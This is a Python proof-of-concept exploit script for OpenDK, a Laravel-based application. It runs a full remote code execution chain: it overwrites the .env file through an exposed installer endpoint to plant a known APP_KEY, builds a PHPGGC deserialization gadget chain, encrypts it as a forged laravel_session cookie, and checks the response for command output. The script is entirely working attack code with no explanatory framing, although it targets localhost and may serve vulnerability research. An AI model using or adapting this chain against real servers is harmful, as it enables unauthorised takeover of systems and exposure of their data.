#!/usr/bin/env python3
import requests
import urllib.parse
import subprocess
import base64
import os
import json
import hashlib
import hmac
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

requests.packages.urllib3.disable_warnings()

url = "http://127.0.0.1:9999"
KNOWN_KEY = b'A' * 32  # Our known key

def laravel_encrypt(data, key):
    iv = os.urandom(16)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    padded = pad(data, AES.block_size)
    encrypted = cipher.encrypt(padded)
    
    iv_b64 = base64.b64encode(iv).decode()
    value_b64 = base64.b64encode(encrypted).decode()
    mac = hmac.new(key, (iv_b64 + value_b64).encode(), hashlib.sha256).hexdigest()
    
    payload = {"iv": iv_b64, "value": value_b64, "mac": mac, "tag": ""}
    return base64.b64encode(json.dumps(payload).encode()).decode()

sess = requests.Session()
sess.verify = False

# Step 1: Get XSRF
print("[1] Getting XSRF token...")
r = sess.get(f"{url}/install")
xsrf = urllib.parse.unquote(sess.cookies.get('XSRF-TOKEN', ''))
print(f"    XSRF: {xsrf[:50]}...")

# Step 2: Overwrite .env with known APP_KEY
print("[2] Overwriting .env...")
env = """APP_NAME=OpenDK
APP_ENV=local
APP_KEY=base64:QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE=
APP_DEBUG=true
APP_URL=http://localhost
LOG_CHANNEL=stack
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=opendk_test
DB_USERNAME=opendk
DB_PASSWORD=opendk123
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=cookie
SESSION_LIFETIME=120
"""

r = sess.post(f"{url}/install/environment/saveClassic",
    headers={'X-XSRF-TOKEN': xsrf},
    data={'envConfig': env},
    allow_redirects=False)
print(f"    Response: HTTP {r.status_code}")

# Step 3: Generate PHPGGC payload
print("[3] Generating RCE payload...")
result = subprocess.run(['/tmp/phpggc/phpggc', 'Laravel/RCE16', 'system', 'id'],
    capture_output=True)
if result.returncode == 0:
    payload = result.stdout.strip()
    print(f"    Payload size: {len(payload)} bytes")
else:
    print(f"    PHPGGC failed: {result.stderr}")
    exit(1)

# Step 4: Encrypt payload
print("[4] Encrypting payload...")
encrypted = laravel_encrypt(payload, KNOWN_KEY)
print(f"    Encrypted size: {len(encrypted)} bytes")

# Step 5: Send as cookie
print("[5] Sending RCE payload...")
sess.cookies.set('laravel_session', encrypted)
r = sess.get(f"{url}/", timeout=30)
print(f"    Response: HTTP {r.status_code}, Length: {len(r.text)}")

# Check for RCE output
if 'uid=' in r.text:
    for line in r.text.split('\n'):
        if 'uid=' in line:
            print(f"\n[!] RCE SUCCESS: {line.strip()}")
            break
else:
    print("\n[-] No 'uid=' in response - checking for errors...")
    if 'Exception' in r.text or 'error' in r.text.lower():
        print("    Found exception/error - deserialization might have failed")
